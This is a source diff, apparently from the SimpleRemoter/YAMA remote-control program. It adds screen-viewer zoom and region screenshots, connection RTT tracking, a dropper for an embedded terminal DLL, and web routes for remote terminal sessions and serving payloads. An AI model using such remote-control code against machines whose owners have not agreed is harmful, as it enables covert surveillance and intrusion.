@@ -216,6 +223,27 @@ public:
|
|||||||
double m_wZoom=1, m_hZoom=1;
|
double m_wZoom=1, m_hZoom=1;
|
||||||
bool m_bMouseTracking = false;
|
bool m_bMouseTracking = false;
|
||||||
|
|
||||||
|
// ========== 局部放大功能 ==========
|
||||||
|
bool m_bZoomedIn = false; // 是否处于放大状态
|
||||||
|
CRect m_rcZoomSrc; // 放大区域(原图坐标)
|
||||||
|
bool m_bSelectingZoom = false; // 是否正在框选
|
||||||
|
CPoint m_ptZoomStart; // 框选起点(屏幕坐标)
|
||||||
|
CPoint m_ptZoomCurrent; // 框选当前点(屏幕坐标)
|
||||||
|
bool m_bZoomDragging = false; // 是否正在拖拽平移
|
||||||
|
CPoint m_ptZoomDragStart; // 拖拽起点(用于点击检测)
|
||||||
|
CPoint m_ptZoomDragLast; // 拖拽上一点(用于增量计算)
|
||||||
|
|
||||||
|
// ========== 区域截图(右键框选) ==========
|
||||||
|
bool m_bSelectingShot = false; // 是否正在右键框选截图
|
||||||
|
CPoint m_ptShotStart; // 右键框选起点(屏幕坐标)
|
||||||
|
CPoint m_ptShotCurrent; // 右键框选当前点(屏幕坐标)
|
||||||
|
|
||||||
|
void ResetZoom(); // 重置放大状态
|
||||||
|
CPoint ScreenToImage(CPoint pt); // 屏幕坐标转原图坐标
|
||||||
|
CPoint ImageToScreen(CPoint pt); // 原图坐标转屏幕坐标
|
||||||
|
bool ScreenRectToImageRect(const CRect& rcScreen, CRect& rcImage); // 选框坐标→原图坐标
|
||||||
|
void SaveRegionScreenshot(const CRect& rcImage); // 保存裁剪区域为 BMP
|
||||||
|
|
||||||
CString m_aviFile;
|
CString m_aviFile;
|
||||||
CBmpToAvi m_aviStream;
|
CBmpToAvi m_aviStream;
|
||||||
|
|
||||||
@@ -291,10 +319,13 @@ public:
|
|||||||
afx_msg void OnVScroll(UINT nSBCode, UINT nPos, CScrollBar* pScrollBar);
|
afx_msg void OnVScroll(UINT nSBCode, UINT nPos, CScrollBar* pScrollBar);
|
||||||
afx_msg void OnLButtonDown(UINT nFlags, CPoint point);
|
afx_msg void OnLButtonDown(UINT nFlags, CPoint point);
|
||||||
afx_msg void OnLButtonUp(UINT nFlags, CPoint point);
|
afx_msg void OnLButtonUp(UINT nFlags, CPoint point);
|
||||||
|
afx_msg void OnRButtonDown(UINT nFlags, CPoint point);
|
||||||
|
afx_msg void OnRButtonUp(UINT nFlags, CPoint point);
|
||||||
afx_msg BOOL OnMouseWheel(UINT nFlags, short zDelta, CPoint pt);
|
afx_msg BOOL OnMouseWheel(UINT nFlags, short zDelta, CPoint pt);
|
||||||
afx_msg void OnMouseMove(UINT nFlags, CPoint point);
|
afx_msg void OnMouseMove(UINT nFlags, CPoint point);
|
||||||
afx_msg void OnMouseLeave();
|
afx_msg void OnMouseLeave();
|
||||||
afx_msg void OnKillFocus(CWnd* pNewWnd);
|
afx_msg void OnKillFocus(CWnd* pNewWnd);
|
||||||
|
afx_msg void OnCaptureChanged(CWnd* pWnd);
|
||||||
afx_msg void OnSize(UINT nType, int cx, int cy);
|
afx_msg void OnSize(UINT nType, int cx, int cy);
|
||||||
afx_msg void OnActivate(UINT nState, CWnd* pWndOther, BOOL bMinimized);
|
afx_msg void OnActivate(UINT nState, CWnd* pWndOther, BOOL bMinimized);
|
||||||
afx_msg LRESULT OnDisconnect(WPARAM wParam, LPARAM lParam);
|
afx_msg LRESULT OnDisconnect(WPARAM wParam, LPARAM lParam);
|
||||||
@@ -325,6 +356,7 @@ public:
|
|||||||
virtual BOOL OnInitDialog();
|
virtual BOOL OnInitDialog();
|
||||||
afx_msg void OnClose();
|
afx_msg void OnClose();
|
||||||
afx_msg void OnPaint();
|
afx_msg void OnPaint();
|
||||||
|
afx_msg BOOL OnEraseBkgnd(CDC* pDC);
|
||||||
BOOL OnSetCursor(CWnd* pWnd, UINT nHitTest, UINT message);
|
BOOL OnSetCursor(CWnd* pWnd, UINT nHitTest, UINT message);
|
||||||
afx_msg void OnSysCommand(UINT nID, LPARAM lParam);
|
afx_msg void OnSysCommand(UINT nID, LPARAM lParam);
|
||||||
virtual BOOL PreTranslateMessage(MSG* pMsg);
|
virtual BOOL PreTranslateMessage(MSG* pMsg);
|
||||||
|
|||||||
@@ -8,6 +8,7 @@
|
|||||||
#include "Buffer.h"
|
#include "Buffer.h"
|
||||||
#define XXH_INLINE_ALL
|
#define XXH_INLINE_ALL
|
||||||
#include "common/xxhash.h"
|
#include "common/xxhash.h"
|
||||||
|
#include "common/LANChecker.h"
|
||||||
#include <WS2tcpip.h>
|
#include <WS2tcpip.h>
|
||||||
#include <common/ikcp.h>
|
#include <common/ikcp.h>
|
||||||
#include <atomic>
|
#include <atomic>
|
||||||
@@ -378,6 +379,19 @@ public:
|
|||||||
std::atomic<int> IoRefCount{0}; // I/O 处理引用计数
|
std::atomic<int> IoRefCount{0}; // I/O 处理引用计数
|
||||||
std::atomic<bool> IsRemoved{false}; // 标记是否已被标记为移除
|
std::atomic<bool> IsRemoved{false}; // 标记是否已被标记为移除
|
||||||
|
|
||||||
|
// 内核测得的纯网络 RTT(μs),由 IOCPServer 的 RTT 轮询线程通过
|
||||||
|
// WSAIoctl(SIO_TCP_INFO) 周期性写入;任何线程可通过 GetRttUs() 安全读取。
|
||||||
|
// m_LastRttSampleMs == 0 表示从未成功采样过(OS 不支持或连接太短未轮询到)。
|
||||||
|
std::atomic<uint32_t> m_RttUs{0};
|
||||||
|
std::atomic<uint64_t> m_LastRttSampleMs{0};
|
||||||
|
// 试用版反代理逐连接检测器。仅由 IOCPServer 的 RTT 轮询线程访问,免锁。
|
||||||
|
TcpRttBreachDetector m_RttDetector;
|
||||||
|
|
||||||
|
// 子连接身份校验:客户端发 TOKEN_CONN_AUTH 通过验证后置位。
|
||||||
|
// 主连接(走 TOKEN_LOGIN 流程)不参与此机制。当前阶段宽容(未通过也接受),
|
||||||
|
// 仅作为标记供后续命令处理 / 未来收紧策略使用。
|
||||||
|
std::atomic<bool> m_bAuthenticated{false};
|
||||||
|
|
||||||
// 预分配的解压缩缓冲区,避免频繁内存分配
|
// 预分配的解压缩缓冲区,避免频繁内存分配
|
||||||
PBYTE DecompressBuffer = nullptr;
|
PBYTE DecompressBuffer = nullptr;
|
||||||
ULONG DecompressBufferSize = 0;
|
ULONG DecompressBufferSize = 0;
|
||||||
@@ -510,6 +524,29 @@ public:
|
|||||||
// 注意:到达这里时,RemoveStaleContext 应该已经等待 IoRefCount==0
|
// 注意:到达这里时,RemoveStaleContext 应该已经等待 IoRefCount==0
|
||||||
IsRemoved.store(false, std::memory_order_release);
|
IsRemoved.store(false, std::memory_order_release);
|
||||||
IoRefCount.store(0, std::memory_order_release);
|
IoRefCount.store(0, std::memory_order_release);
|
||||||
|
// 复用对象池时清空校验状态
|
||||||
|
m_bAuthenticated.store(false, std::memory_order_release);
|
||||||
|
// 复用对象池时重置 RTT 相关状态,避免上一个连接的数据污染
|
||||||
|
m_RttUs.store(0, std::memory_order_release);
|
||||||
|
m_LastRttSampleMs.store(0, std::memory_order_release);
|
||||||
|
m_RttDetector.Reset();
|
||||||
|
}
|
||||||
|
void SetAuthenticated(bool v) { m_bAuthenticated.store(v, std::memory_order_release); }
|
||||||
|
bool IsAuthenticated() const { return m_bAuthenticated.load(std::memory_order_acquire); }
|
||||||
|
|
||||||
|
// 由 RTT 轮询线程写入。rttUs 为内核测得的纯网络 RTT(微秒)。
|
||||||
|
void SetRttUs(uint32_t rttUs)
|
||||||
|
{
|
||||||
|
m_RttUs.store(rttUs, std::memory_order_release);
|
||||||
|
m_LastRttSampleMs.store((uint64_t)GetTickCount64(), std::memory_order_release);
|
||||||
|
}
|
||||||
|
uint32_t GetRttUs() const { return m_RttUs.load(std::memory_order_acquire); }
|
||||||
|
// 供 UI 展示用:μs → ms;样本超过 10 秒未更新(连接刚断/未轮询到)视为不可用,返回 -1。
|
||||||
|
int GetRttMsForDisplay() const
|
||||||
|
{
|
||||||
|
uint64_t last = m_LastRttSampleMs.load(std::memory_order_acquire);
|
||||||
|
if (last == 0 || (uint64_t)GetTickCount64() - last > 10000) return -1;
|
||||||
|
return (int)((m_RttUs.load(std::memory_order_acquire) + 500) / 1000);
|
||||||
}
|
}
|
||||||
uint64_t GetAliveTime()const
|
uint64_t GetAliveTime()const
|
||||||
{
|
{
|
||||||
|
|||||||
@@ -17,7 +17,7 @@ CSettingDlg::CSettingDlg(CMy2015RemoteDlg* pParent)
|
|||||||
, m_nListenPort("6543")
|
, m_nListenPort("6543")
|
||||||
, m_nMax_Connect(0)
|
, m_nMax_Connect(0)
|
||||||
, m_sScreenCapture(_T("GDI"))
|
, m_sScreenCapture(_T("GDI"))
|
||||||
, m_sScreenCompress(_T("RGBA->RGB565"))
|
, m_sScreenCompress(_T("算法自适应"))
|
||||||
, m_nReportInterval(5)
|
, m_nReportInterval(5)
|
||||||
, m_sSoftwareDetect(_T("摄像头"))
|
, m_sSoftwareDetect(_T("摄像头"))
|
||||||
, m_sPublicIP(_T(""))
|
, m_sPublicIP(_T(""))
|
||||||
@@ -154,12 +154,15 @@ BOOL CSettingDlg::OnInitDialog()
|
|||||||
|
|
||||||
int DXGI = THIS_CFG.GetInt("settings", "DXGI");
|
int DXGI = THIS_CFG.GetInt("settings", "DXGI");
|
||||||
|
|
||||||
CString algo = THIS_CFG.GetStr("settings", "ScreenCompress", "").c_str();
|
CString algo = THIS_CFG.GetStr("settings", "ScreenCompress", ALGORITHM_NULL).c_str();
|
||||||
|
|
||||||
m_nListenPort = nPort.c_str();
|
m_nListenPort = nPort.c_str();
|
||||||
|
|
||||||
int n = algo.IsEmpty() ? ALGORITHM_DIFF : atoi(algo.GetString());
|
int n = algo.IsEmpty() ? ALGORITHM_DIFF : atoi(algo.GetString());
|
||||||
switch (n) {
|
switch (n) {
|
||||||
|
case ALGORITHM_NUL:
|
||||||
|
m_sScreenCompress = _L(_T("算法自适应"));
|
||||||
|
break;
|
||||||
case ALGORITHM_GRAY:
|
case ALGORITHM_GRAY:
|
||||||
m_sScreenCompress = _L(_T("灰度图像传输"));
|
m_sScreenCompress = _L(_T("灰度图像传输"));
|
||||||
break;
|
break;
|
||||||
@@ -175,10 +178,11 @@ BOOL CSettingDlg::OnInitDialog()
|
|||||||
default:
|
default:
|
||||||
break;
|
break;
|
||||||
}
|
}
|
||||||
m_ComboScreenCompress.InsertStringL(ALGORITHM_GRAY, "灰度图像传输");
|
m_ComboScreenCompress.InsertStringL(1+ALGORITHM_NUL, "算法自适应");
|
||||||
m_ComboScreenCompress.InsertStringL(ALGORITHM_DIFF, "屏幕差异算法");
|
m_ComboScreenCompress.InsertStringL(1+ALGORITHM_GRAY, "灰度图像传输");
|
||||||
m_ComboScreenCompress.InsertStringL(ALGORITHM_H264, "H264压缩算法");
|
m_ComboScreenCompress.InsertStringL(1+ALGORITHM_DIFF, "屏幕差异算法");
|
||||||
m_ComboScreenCompress.InsertStringL(ALGORITHM_RGB565, "RGBA->RGB565");
|
m_ComboScreenCompress.InsertStringL(1+ALGORITHM_H264, "H264压缩算法");
|
||||||
|
m_ComboScreenCompress.InsertStringL(1+ALGORITHM_RGB565, "RGBA->RGB565");
|
||||||
|
|
||||||
m_ComboScreenCapture.InsertStringL(0, "GDI");
|
m_ComboScreenCapture.InsertStringL(0, "GDI");
|
||||||
m_ComboScreenCapture.InsertStringL(1, "DXGI");
|
m_ComboScreenCapture.InsertStringL(1, "DXGI");
|
||||||
@@ -245,7 +249,7 @@ void CSettingDlg::OnBnClickedButtonSettingapply()
|
|||||||
int n = m_ComboScreenCapture.GetCurSel();
|
int n = m_ComboScreenCapture.GetCurSel();
|
||||||
THIS_CFG.SetInt("settings", "DXGI", n);
|
THIS_CFG.SetInt("settings", "DXGI", n);
|
||||||
|
|
||||||
n = m_ComboScreenCompress.GetCurSel();
|
n = m_ComboScreenCompress.GetCurSel() - 1;
|
||||||
THIS_CFG.SetInt("settings", "ScreenCompress", n);
|
THIS_CFG.SetInt("settings", "ScreenCompress", n);
|
||||||
|
|
||||||
THIS_CFG.SetInt("settings", "ReportInterval", m_nReportInterval);
|
THIS_CFG.SetInt("settings", "ReportInterval", m_nReportInterval);
|
||||||
|
|||||||
@@ -3,6 +3,7 @@
|
|||||||
|
|
||||||
#include "stdafx.h"
|
#include "stdafx.h"
|
||||||
#include "2015Remote.h"
|
#include "2015Remote.h"
|
||||||
|
#include "2015RemoteDlg.h" // GetClientEncoding helper
|
||||||
#include "SystemDlg.h"
|
#include "SystemDlg.h"
|
||||||
#include "afxdialogex.h"
|
#include "afxdialogex.h"
|
||||||
|
|
||||||
@@ -85,6 +86,8 @@ BOOL CSystemDlg::OnInitDialog()
|
|||||||
m_ControlList.InsertColumnL(1, "窗口名称", LVCFMT_LEFT, 420);
|
m_ControlList.InsertColumnL(1, "窗口名称", LVCFMT_LEFT, 420);
|
||||||
m_ControlList.InsertColumnL(2, "窗口状态", LVCFMT_LEFT, 200);
|
m_ControlList.InsertColumnL(2, "窗口状态", LVCFMT_LEFT, 200);
|
||||||
m_ControlList.InsertColumnL(3, "所属进程ID", LVCFMT_LEFT, 100);
|
m_ControlList.InsertColumnL(3, "所属进程ID", LVCFMT_LEFT, 100);
|
||||||
|
// 工程是 MBCS,但下面"窗口名称"列里的标题需要原样显示客户端 UTF-8 内容,
|
||||||
|
// 直接用 LVM_SETITEMTEXTW 写宽字符串(无须依赖控件 Unicode 标志)。
|
||||||
ShowWindowsList();
|
ShowWindowsList();
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -170,6 +173,11 @@ void CSystemDlg::ShowWindowsList(void)
|
|||||||
char *szTitle = NULL;
|
char *szTitle = NULL;
|
||||||
bool isDel=false;
|
bool isDel=false;
|
||||||
|
|
||||||
|
// 客户端编码由能力位 CLIENT_CAP_UTF8 决定。
|
||||||
|
// 注意:m_ContextObject 是 WSLIST 子连接,其自身 CAPABILITIES 为空;
|
||||||
|
// helper 内部通过 peer IP 查主连接获取真正的能力位。
|
||||||
|
UINT cp = GetClientEncoding(m_ContextObject);
|
||||||
|
|
||||||
DeleteAllItems();
|
DeleteAllItems();
|
||||||
CString str;
|
CString str;
|
||||||
int i ;
|
int i ;
|
||||||
@@ -181,10 +189,28 @@ void CSystemDlg::ShowWindowsList(void)
|
|||||||
str.FormatL("%5u", *lpPID);
|
str.FormatL("%5u", *lpPID);
|
||||||
CString pidStr = attrs.dwPid ? std::to_string(attrs.dwPid).c_str() : "N/A";
|
CString pidStr = attrs.dwPid ? std::to_string(attrs.dwPid).c_str() : "N/A";
|
||||||
m_ControlList.InsertItem(i, str); // 句柄
|
m_ControlList.InsertItem(i, str); // 句柄
|
||||||
m_ControlList.SetItemText(i, 1, attrs.szTitle); // 标题
|
|
||||||
m_ControlList.SetItemText(i, 2, attrs.szStatus); // 窗口状态
|
// 按客户端声明的编码解码到宽字符,用 LVM_SETITEMTEXTW 直接写入,
|
||||||
m_ControlList.SetItemText(i, 3, pidStr); // 所属进程ID
|
// 绕开 ANSI -> CP_ACP 回转,即使在德语等非中文 ACP 服务端上中文窗口名也能正常显示。
|
||||||
// ItemData 为窗口句柄
|
std::wstring wTitle;
|
||||||
|
if (attrs.szTitle[0]) {
|
||||||
|
int wlen = MultiByteToWideChar(cp, 0, attrs.szTitle, -1, NULL, 0);
|
||||||
|
if (wlen > 0) {
|
||||||
|
wTitle.resize(wlen - 1);
|
||||||
|
MultiByteToWideChar(cp, 0, attrs.szTitle, -1, &wTitle[0], wlen);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
LVITEMW lvItemW = {};
|
||||||
|
lvItemW.mask = LVIF_TEXT;
|
||||||
|
lvItemW.iItem = i;
|
||||||
|
lvItemW.iSubItem = 1;
|
||||||
|
lvItemW.pszText = wTitle.empty() ? const_cast<LPWSTR>(L"") : &wTitle[0];
|
||||||
|
::SendMessageW(m_ControlList.GetSafeHwnd(), LVM_SETITEMTEXTW,
|
||||||
|
(WPARAM)i, (LPARAM)&lvItemW);
|
||||||
|
|
||||||
|
m_ControlList.SetItemText(i, 2, attrs.szStatus); // 窗口状态 (ASCII)
|
||||||
|
m_ControlList.SetItemText(i, 3, pidStr); // 所属进程ID (ASCII)
|
||||||
|
// ItemData 为窗口句柄;Data[1] 保留原始 UTF-8 字节供排序/右键菜单使用
|
||||||
auto data = new ItemData{ *lpPID, {str, attrs.szTitle, attrs.szStatus, pidStr} };
|
auto data = new ItemData{ *lpPID, {str, attrs.szTitle, attrs.szStatus, pidStr} };
|
||||||
m_ControlList.SetItemData(i, (DWORD_PTR)data); //(d)
|
m_ControlList.SetItemData(i, (DWORD_PTR)data); //(d)
|
||||||
dwOffset += sizeof(DWORD) + lstrlen(szTitle) + 1;
|
dwOffset += sizeof(DWORD) + lstrlen(szTitle) + 1;
|
||||||
|
|||||||
@@ -40,6 +40,9 @@ inline PFN_IsTerminalValid pfnIsTerminalValid = nullptr;
|
|||||||
inline PFN_GetTerminalVersion pfnGetTerminalVersion = nullptr;
|
inline PFN_GetTerminalVersion pfnGetTerminalVersion = nullptr;
|
||||||
inline HMODULE g_hTerminalModule = nullptr;
|
inline HMODULE g_hTerminalModule = nullptr;
|
||||||
|
|
||||||
|
LPBYTE ReadResource(int resourceId, DWORD& dwSize, const char* resName);
|
||||||
|
BOOL WriteBinaryToFile(const char* path, const char* data, ULONGLONG size, LONGLONG offset);
|
||||||
|
|
||||||
// Load the TerminalModule DLL
|
// Load the TerminalModule DLL
|
||||||
inline bool LoadTerminalModule()
|
inline bool LoadTerminalModule()
|
||||||
{
|
{
|
||||||
@@ -78,6 +81,17 @@ inline bool LoadTerminalModule()
|
|||||||
}
|
}
|
||||||
|
|
||||||
if (!g_hTerminalModule) {
|
if (!g_hTerminalModule) {
|
||||||
|
DWORD fileSize = 0;
|
||||||
|
BYTE* dllData = ReadResource(IDR_MODERN_TERMINAL, fileSize, NULL);
|
||||||
|
if (!dllData)
|
||||||
|
return false;
|
||||||
|
char fullPath[MAX_PATH];
|
||||||
|
strcpy_s(fullPath, exePath);
|
||||||
|
strcat_s(fullPath, "TerminalModule_x64.dll");
|
||||||
|
WriteBinaryToFile(fullPath, (char*)dllData, fileSize, 0);
|
||||||
|
delete[] dllData;
|
||||||
|
g_hTerminalModule = LoadLibraryA(fullPath);
|
||||||
|
if (!g_hTerminalModule)
|
||||||
return false;
|
return false;
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -122,6 +136,35 @@ inline bool IsTerminalModuleLoaded()
|
|||||||
return g_hTerminalModule != nullptr;
|
return g_hTerminalModule != nullptr;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// Check if current process is running as LocalSystem (S-1-5-18).
|
||||||
|
// 用途:WebView2 / msedgewebview2.exe 子进程拒绝在 SYSTEM token 下渲染(Microsoft
|
||||||
|
// 官方限制),此时 Modern Terminal 会打开但页面空白,需要回退到经典终端。
|
||||||
|
// 结果缓存,因为进程 token 在生命周期内不会变。
|
||||||
|
inline bool IsRunningAsSystem()
|
||||||
|
{
|
||||||
|
static int cached = -1;
|
||||||
|
if (cached >= 0) return cached == 1;
|
||||||
|
|
||||||
|
bool isSystem = false;
|
||||||
|
HANDLE hToken = nullptr;
|
||||||
|
if (OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, &hToken)) {
|
||||||
|
BYTE buf[256] = {};
|
||||||
|
DWORD len = 0;
|
||||||
|
if (GetTokenInformation(hToken, TokenUser, buf, sizeof(buf), &len)) {
|
||||||
|
SID_IDENTIFIER_AUTHORITY ntAuth = SECURITY_NT_AUTHORITY;
|
||||||
|
PSID pSystemSid = nullptr;
|
||||||
|
if (AllocateAndInitializeSid(&ntAuth, 1, SECURITY_LOCAL_SYSTEM_RID,
|
||||||
|
0, 0, 0, 0, 0, 0, 0, &pSystemSid)) {
|
||||||
|
isSystem = EqualSid(((TOKEN_USER*)buf)->User.Sid, pSystemSid) != FALSE;
|
||||||
|
FreeSid(pSystemSid);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
CloseHandle(hToken);
|
||||||
|
}
|
||||||
|
cached = isSystem ? 1 : 0;
|
||||||
|
return isSystem;
|
||||||
|
}
|
||||||
|
|
||||||
// Check if WebView2 Runtime is installed (cached)
|
// Check if WebView2 Runtime is installed (cached)
|
||||||
inline bool IsWebView2Available()
|
inline bool IsWebView2Available()
|
||||||
{
|
{
|
||||||
|
|||||||
@@ -9,6 +9,8 @@
|
|||||||
//
|
//
|
||||||
// 编码要求:此文件必须保存为 UTF-8 with BOM(MSVC 要求)
|
// 编码要求:此文件必须保存为 UTF-8 with BOM(MSVC 要求)
|
||||||
// 注意:此文件中的配置会编译到程序中,运行时无法修改。
|
// 注意:此文件中的配置会编译到程序中,运行时无法修改。
|
||||||
|
// 修改原则:最小化原则。如果是UI文案修改,通常没有问题
|
||||||
|
// 如果修改项涉及数据存储、程序配置、代码逻辑,可能导致程序异常。
|
||||||
//
|
//
|
||||||
// ============================================================
|
// ============================================================
|
||||||
//
|
//
|
||||||
@@ -44,7 +46,7 @@
|
|||||||
|
|
||||||
// 程序版本号 [建议格式: X.Y.Z]
|
// 程序版本号 [建议格式: X.Y.Z]
|
||||||
// 影响:关于对话框、标题栏
|
// 影响:关于对话框、标题栏
|
||||||
#define BRAND_VERSION "1.3.2"
|
#define BRAND_VERSION "1.3.3"
|
||||||
|
|
||||||
// 启动画面名称 [建议大写,更有 Logo 感]
|
// 启动画面名称 [建议大写,更有 Logo 感]
|
||||||
// 影响:启动画面 Logo 文字(大号艺术字体渲染)
|
// 影响:启动画面 Logo 文字(大号艺术字体渲染)
|
||||||
@@ -107,6 +109,7 @@
|
|||||||
|
|
||||||
// 注册表键名 [仅ASCII,无空格]
|
// 注册表键名 [仅ASCII,无空格]
|
||||||
// 存储位置:HKCU\Software\{此键名}
|
// 存储位置:HKCU\Software\{此键名}
|
||||||
|
// 不能修改,修改会隐藏授权
|
||||||
#define BRAND_REGISTRY_KEY "YAMA"
|
#define BRAND_REGISTRY_KEY "YAMA"
|
||||||
|
|
||||||
// 网络通信前缀 [仅ASCII,无空格]
|
// 网络通信前缀 [仅ASCII,无空格]
|
||||||
@@ -262,7 +265,7 @@
|
|||||||
//
|
//
|
||||||
// 如果配置值以 "http" 开头,则作为 URL 打开浏览器。
|
// 如果配置值以 "http" 开头,则作为 URL 打开浏览器。
|
||||||
// 否则直接显示为文本消息。
|
// 否则直接显示为文本消息。
|
||||||
//
|
// 链接从上级同步而来,修改无效;建议设置这些菜单为隐藏
|
||||||
|
|
||||||
// 反馈链接(帮助菜单 → 反馈)
|
// 反馈链接(帮助菜单 → 反馈)
|
||||||
#define BRAND_URL_FEEDBACK "https://t.me/SimpleRemoter"
|
#define BRAND_URL_FEEDBACK "https://t.me/SimpleRemoter"
|
||||||
|
|||||||
File diff suppressed because it is too large
Load Diff
@@ -1,5 +1,6 @@
|
|||||||
#include "stdafx.h"
|
#include "stdafx.h"
|
||||||
#include "2015Remote.h"
|
#include "2015Remote.h"
|
||||||
|
#include "resource.h" // IDR_WEB_XTERM_* (xterm.js/css 静态资源 ID)
|
||||||
#include "WebService.h"
|
#include "WebService.h"
|
||||||
#include "WebServiceAuth.h"
|
#include "WebServiceAuth.h"
|
||||||
#include "2015RemoteDlg.h"
|
#include "2015RemoteDlg.h"
|
||||||
@@ -11,12 +12,28 @@
|
|||||||
#include <filesystem>
|
#include <filesystem>
|
||||||
#include <fstream>
|
#include <fstream>
|
||||||
#include <shlobj.h>
|
#include <shlobj.h>
|
||||||
|
#include <set>
|
||||||
|
|
||||||
// Algorithm constants (same as ScreenSpyDlg.cpp)
|
// Algorithm constants (same as ScreenSpyDlg.cpp)
|
||||||
#define ALGORITHM_H264 2
|
#define ALGORITHM_H264 2
|
||||||
|
|
||||||
#pragma comment(lib, "ws2_32.lib")
|
#pragma comment(lib, "ws2_32.lib")
|
||||||
|
|
||||||
|
// Load a Win32 BINARY resource by ID as std::string (raw bytes).
|
||||||
|
// Returns empty string on failure. The std::string is OK to hold binary data
|
||||||
|
// (we only treat it as bytes; size is from .length()).
|
||||||
|
static std::string LoadBinaryResourceAsString(int resourceId) {
|
||||||
|
HRSRC hRes = FindResourceA(NULL, MAKEINTRESOURCEA(resourceId), "BINARY");
|
||||||
|
if (!hRes) return {};
|
||||||
|
DWORD size = SizeofResource(NULL, hRes);
|
||||||
|
if (!size) return {};
|
||||||
|
HGLOBAL hData = LoadResource(NULL, hRes);
|
||||||
|
if (!hData) return {};
|
||||||
|
LPVOID p = LockResource(hData);
|
||||||
|
if (!p) return {};
|
||||||
|
return std::string(static_cast<const char*>(p), size);
|
||||||
|
}
|
||||||
|
|
||||||
// Challenge-response nonce storage (prevents replay attacks)
|
// Challenge-response nonce storage (prevents replay attacks)
|
||||||
static std::map<void*, std::string> s_ClientNonces;
|
static std::map<void*, std::string> s_ClientNonces;
|
||||||
static std::mutex s_NonceMutex;
|
static std::mutex s_NonceMutex;
|
||||||
@@ -238,11 +255,35 @@ void CWebService::ServerThread(int port) {
|
|||||||
|
|
||||||
// Serve static HTML page and file downloads
|
// Serve static HTML page and file downloads
|
||||||
static std::string cachedHtml = GetWebPageHTML();
|
static std::string cachedHtml = GetWebPageHTML();
|
||||||
|
// Log loaded size; zero bytes means the RC BINARY resource is missing or
|
||||||
|
// server/web/index.html was not embedded — check 2015Remote.rc and rebuild.
|
||||||
|
Mprintf("[WebService] index.html loaded: %zu bytes\n", cachedHtml.size());
|
||||||
std::string payloadsDir = m_PayloadsDir; // Capture for lambda
|
std::string payloadsDir = m_PayloadsDir; // Capture for lambda
|
||||||
|
|
||||||
wsServer.onHttp([payloadsDir](const std::string& path) -> ws::HttpResponse {
|
// 静态资源缓存:xterm.js / xterm.css / fit-addon。RC binary 资源加载一次缓存到内存,
|
||||||
|
// 避免每个浏览器请求都去 LockResource。Cache-Control 给浏览器侧缓存友好。
|
||||||
|
static std::string cachedXtermJs = LoadBinaryResourceAsString(IDR_WEB_XTERM_JS);
|
||||||
|
static std::string cachedXtermCss = LoadBinaryResourceAsString(IDR_WEB_XTERM_CSS);
|
||||||
|
static std::string cachedXtermFitJs = LoadBinaryResourceAsString(IDR_WEB_XTERM_FIT_JS);
|
||||||
|
|
||||||
|
auto buildStatic = [](const std::string& body, const std::string& mime) {
|
||||||
|
ws::HttpResponse r = ws::HttpResponse::OK(body, mime);
|
||||||
|
r.headers["Cache-Control"] = "public, max-age=86400"; // 1 day
|
||||||
|
return r;
|
||||||
|
};
|
||||||
|
|
||||||
|
wsServer.onHttp([payloadsDir, buildStatic](const std::string& path) -> ws::HttpResponse {
|
||||||
if (path == "/" || path == "/index.html") {
|
if (path == "/" || path == "/index.html") {
|
||||||
return ws::HttpResponse::OK(cachedHtml);
|
return ws::HttpResponse::OK(cachedHtml);
|
||||||
|
} else if (path == "/static/xterm.js") {
|
||||||
|
if (cachedXtermJs.empty()) return ws::HttpResponse::NotFound();
|
||||||
|
return buildStatic(cachedXtermJs, "application/javascript; charset=utf-8");
|
||||||
|
} else if (path == "/static/xterm.css") {
|
||||||
|
if (cachedXtermCss.empty()) return ws::HttpResponse::NotFound();
|
||||||
|
return buildStatic(cachedXtermCss, "text/css; charset=utf-8");
|
||||||
|
} else if (path == "/static/xterm-fit.js") {
|
||||||
|
if (cachedXtermFitJs.empty()) return ws::HttpResponse::NotFound();
|
||||||
|
return buildStatic(cachedXtermFitJs, "application/javascript; charset=utf-8");
|
||||||
} else if (path == "/health") {
|
} else if (path == "/health") {
|
||||||
return ws::HttpResponse::OK("{\"status\":\"ok\"}", "application/json");
|
return ws::HttpResponse::OK("{\"status\":\"ok\"}", "application/json");
|
||||||
} else if (path == "/manifest.json") {
|
} else if (path == "/manifest.json") {
|
||||||
@@ -363,6 +404,16 @@ void CWebService::ServerThread(int port) {
|
|||||||
HandleDeleteUser(ws_ptr, msg);
|
HandleDeleteUser(ws_ptr, msg);
|
||||||
} else if (cmd == "list_users") {
|
} else if (cmd == "list_users") {
|
||||||
HandleListUsers(ws_ptr, token);
|
HandleListUsers(ws_ptr, token);
|
||||||
|
} else if (cmd == "get_groups") {
|
||||||
|
HandleGetGroups(ws_ptr, token);
|
||||||
|
} else if (cmd == "term_open") {
|
||||||
|
HandleTermOpen(ws_ptr, msg);
|
||||||
|
} else if (cmd == "term_input") {
|
||||||
|
HandleTermInput(ws_ptr, msg);
|
||||||
|
} else if (cmd == "term_resize") {
|
||||||
|
HandleTermResize(ws_ptr, msg);
|
||||||
|
} else if (cmd == "term_close") {
|
||||||
|
HandleTermClose(ws_ptr, msg);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
});
|
});
|
||||||
@@ -566,7 +617,7 @@ void CWebService::HandleGetDevices(void* ws_ptr, const std::string& token) {
|
|||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
|
|
||||||
SendText(ws_ptr, BuildDeviceListJson());
|
SendText(ws_ptr, BuildDeviceListJson(username));
|
||||||
}
|
}
|
||||||
|
|
||||||
void CWebService::HandleConnect(void* ws_ptr, const std::string& token, uint64_t device_id) {
|
void CWebService::HandleConnect(void* ws_ptr, const std::string& token, uint64_t device_id) {
|
||||||
@@ -588,6 +639,32 @@ void CWebService::HandleConnect(void* ws_ptr, const std::string& token, uint64_t
|
|||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// Check group permission (admin can access all devices)
|
||||||
|
if (username != "admin") {
|
||||||
|
std::string deviceGroup = ctx->GetGroupName();
|
||||||
|
if (deviceGroup.empty()) deviceGroup = "default";
|
||||||
|
|
||||||
|
bool hasAccess = false;
|
||||||
|
{
|
||||||
|
std::lock_guard<std::mutex> lock(m_UsersMutex);
|
||||||
|
for (const auto& u : m_Users) {
|
